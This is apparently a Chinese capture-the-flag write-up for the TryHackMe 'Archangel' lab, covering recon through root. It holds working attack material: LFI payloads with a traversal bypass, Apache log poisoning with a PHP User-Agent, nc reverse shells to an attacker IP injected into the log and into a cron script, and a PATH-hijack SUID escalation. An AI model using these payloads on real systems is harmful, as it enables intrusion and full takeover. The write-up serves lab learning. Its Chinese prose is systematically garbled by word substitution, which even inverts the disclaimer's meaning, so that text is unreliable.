免责申明

本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用,请不要将文中应用的工具和浸透思路用于任何非法用处,对此产生的所有结果,自己不承当任何责任,也不对造成的任何误用或侵害负责。

发现服务

┌──(rootkali)-[~/tryhackme/Archangel]└─# nmap -sV -Pn 10.10.228.134     Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-29 05:43 EDTNmap scan report for 10.10.228.134Host is up (0.32s latency).Not shown: 998 closed portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 17.39 seconds

浸透80端口

爆破目录

┌──(rootkali)-[~/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.228.134                                                                          _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                                                                                                             (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/dirsearch/reports/10.10.228.134/_21-10-29_06-02-36.txtError Log: /root/dirsearch/logs/errors-21-10-29_06-02-36.logTarget: http://10.10.228.134/[06:02:37] Starting:                                         [06:03:59] 301 -  312B  - /flags  ->  http://10.10.228.134/flags/            [06:04:06] 301 -  313B  - /images  ->  http://10.10.228.134/images/          [06:04:06] 200 -    0B  - /images/                                          [06:04:08] 200 -   19KB - /index.html                                       [06:04:29] 301 -  312B  - /pages  ->  http://10.10.228.134/pages/            [06:04:30] 200 -    0B  - /pages/                                           [06:04:44] 403 -  277B  - /server-status    

/flags 转向youtube一个视频,没有其余信息,应该是个兔子洞
其余文件夹没有其余信息

查看网页源代码,在Send us a mail里发现一个域名,把mafialive.thm写进host文件

echo "10.10.228.134 mafialive.thm" >> /etc/hosts

关上mafialive.thm发现flag1

再次爆破目录

┌──(rootkali)-[~/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://mafialive.thm   _|. _ _  _  _  _ _|_    v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/dirsearch/reports/mafialive.thm/_21-11-01_06-52-00.txtError Log: /root/dirsearch/logs/errors-21-11-01_06-52-00.logTarget: http://mafialive.thm/[06:52:01] Starting: [06:53:22] 200 -   59B  - /index.html                                       [06:53:50] 200 -   34B  - /robots.txt                                                                          [06:54:02] 200 -  286B  - /test.php   

关上test.php,点击网页buttom,url显示出一串门路,批改门路文件名能够拜访服务器一些文件的内容,阐明存在LFI破绽

咱们用php伪协定输入整个网页的源代码,payloadr如下

/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

打印出了test.php的源代码,拿到flag2

审阅上传代码

<?php function containsStr($str, $substr) {                return strpos($str, $substr) !== false;            }      if(isset($_GET["view"])){      if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {              include $_GET['view'];            }else{    echo 'Sorry, Thats not allowed';            } ?>

只有满足不呈现../..和肯定呈现/var/www/html/development_testing这两个字符串的条件下,蕴含逻辑才会失效

咱们用//代替/就能够绕过不能呈现../..的限度,读取/etc/passwdpayload如下

/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/..//..//..//..//etc/passwd 

解密当前失去用户名

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologinsyslog:x:102:106::/home/syslog:/usr/sbin/nologinmessagebus:x:103:107::/nonexistent:/usr/sbin/nologin_apt:x:104:65534::/nonexistent:/usr/sbin/nologinuuidd:x:105:109::/run/uuidd:/usr/sbin/nologinsshd:x:106:65534::/run/sshd:/usr/sbin/nologinarchangel:x:1001:1001:Archangel,,,:/home/archangel:/bin/bash

由下面可知存在用户archangel.爆破了这个用户的ssh没有后果,只能想其余办法

这边通过测试,失去了apache的access.log的门路

/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log

剖析

apache2.4-2.9的版本存在一个文件解析破绽,联合LFI,咱们能够把payload写进日志当中,而后在网页上拜访这个日志文件,那么就能够触发反弹shell

首先,咱们看失常的日志记录是这样的:

10.13.21.169 - - [02/Nov/2021:14:14:38 +0530] "GET /test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/..//..//..//..//etc/passwd HTTP/1.1" 200 1277 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"

由下面日志能够晓得,apache记录了url拜访门路和User-Agent的信息

那么咱们就能够把php代码写到User-Agent,以下面为例,咱们期待的成果是这样的:

10.13.21.169 - - [02/Nov/2021:14:14:38 +0530] "GET /test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/..//..//..//..//etc/passwd HTTP/1.1" 200 1277 "-" "<php phpinfo(); ?>"

而后在浏览器拜访这个日志

如果此时网页上能显示php版本信息,示意咱们的php代码能够失常执行

攻打

开启burpsuite,咱们把payload写到User-Agent:

GET /test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log HTTP/1.1Host: mafialive.thmUser-Agent: "<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.21.169 4444 >/tmp/f') ?>"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

开启监听

nc -lnvp 4444

触发

http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log

接管到反弹shell

┌──(rootkali)-[~/tryhackme/Archangel]└─# nc -lnvp 4444listening on [any] 4444 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.228.134] 54296/bin/sh: 0: can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)$ whoamiwww-data$ lsindex.htmlmrrobot.phprobots.txttest.php$ cd /home$ lsarchangel$ cd archangel$ lsmyfilessecretuser.txt

拿到user.txt
同文件夹,secret文件没有读权限,myfiles文件夹里有个密码文件,文件内容又是youtube里那个不要放弃(又名:逗你玩儿)的视频

提权到archangel

传linpeas发现有一个archangel的定时工作,这个文件还是可写的

www-data@ubuntu:/var/www/html/development_testing$ cat /opt/helloworld.shcat /opt/helloworld.sh#!/bin/bashecho "hello world" >> /opt/backupfiles/helloworld.txtwww-data@ubuntu:/var/www/html/development_testing$ ls -alh /opt/helloworld.shls -alh /opt/helloworld.sh-rwxrwxrwx 1 archangel archangel 66 Nov 20  2020 /opt/helloworld.sh

写shell到定时工作

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.21.169 4242 >/tmp/f" >> /opt/helloworld.sh

接管到反弹shell

┌──(rootkali)-[~/tryhackme/Archangel]└─# nc -lnvp 4242 listening on [any] 4242 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.228.134] 37592/bin/sh: 0: can't access tty; job control turned off$ whoamiarchangel$ iduid=1001(archangel) gid=1001(archangel) groups=1001(archangel)$ 

/home/archangel/secret拿到第二个user.txt

提权

同文件夹有一个backup文件有SUID权限,下载到靶机用strings命令剖析,发现有一个shell片段是:

┌──(rootkali)-[~/tryhackme/Archangel]└─# strings backup/lib64/ld-linux-x86-64.so.2setuidsystem__cxa_finalizesetgid__libc_start_mainlibc.so.6GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableu+UH[]A\A]A^A_cp /home/user/archangel/myfiles/* /opt/backupfiles

剖析

咱们察看下面这一行shell代码

cp /home/user/archangel/myfiles/* /opt/backupfiles

代码自身是说把/home/user/archangel/myfiles/*上的内容通过cp命令拷贝到/opt/backupfiles

咱们晓得,SUID文件是普通用户可能以root运行的文件,这个cp在这个文件尽管是一般用户组收回的命令,然而却是以root身份运行的,也就是说如果咱们可能劫持这个命令,改写它的内容,咱们就能够利用它来提权。

在linux里,所有用户命令都存储在他的$PATH环境变量里,当咱们在终端敲下一个个命令时,linux服务器会从当下用户的环境变量门路里一个个的查找有没有这个命令。如果命令的binary文件存在则执行,不存在则报command not found

开始提权

查看以后用户的环境变量$PATH

echo $PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

把home目录/home/archangel新增到环境变量$PATH当中

archangel@ubuntu:~$ export PATH=/home/archangel:$PATHexport PATH=/home/archangel:$PATHarchangel@ubuntu:~$ echo $PATHecho $PATH/home/archangel:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

在新加的$PATH门路下创立一个cp文件,并且给与执行权限

archangel@ubuntu:~$ touch cptouch cparchangel@ubuntu:~$ chmod +x cpchmod +x cp

把上面代码增加到新建的cp文件中

#!/bin/bashbash -p

查看cp文件

archangel@ubuntu:~$ cat cpcat cp#!/bin/bashbash -p

万事具备,执行SUID文件backup,提权到root

archangel@ubuntu:~/secret$ ./backup./backuproot@ubuntu:~/secret# ididuid=0(root) gid=0(root) groups=0(root),1001(archangel)root@ubuntu:~/secret# whoamiwhoamirootroot@ubuntu:~/secret# cat /root/root.txtcat /root/root.txt

总结

精彩的靶机,学习到很多新常识。LFI拿shell个别有两种姿态:

  1. LFI+上传文件getshell
  2. LFI+文件解析破绽getshell

本文用的是第二种。对于第一种办法,我在这个靶机里有记录

提权方面,利用了批改环境变量$PATH的形式,这种提权办法须要和SUID联合。本文批改了cp命令,然而也可能批改的是其余命令。比方mv,tar等,这个要依据靶机具体的状况。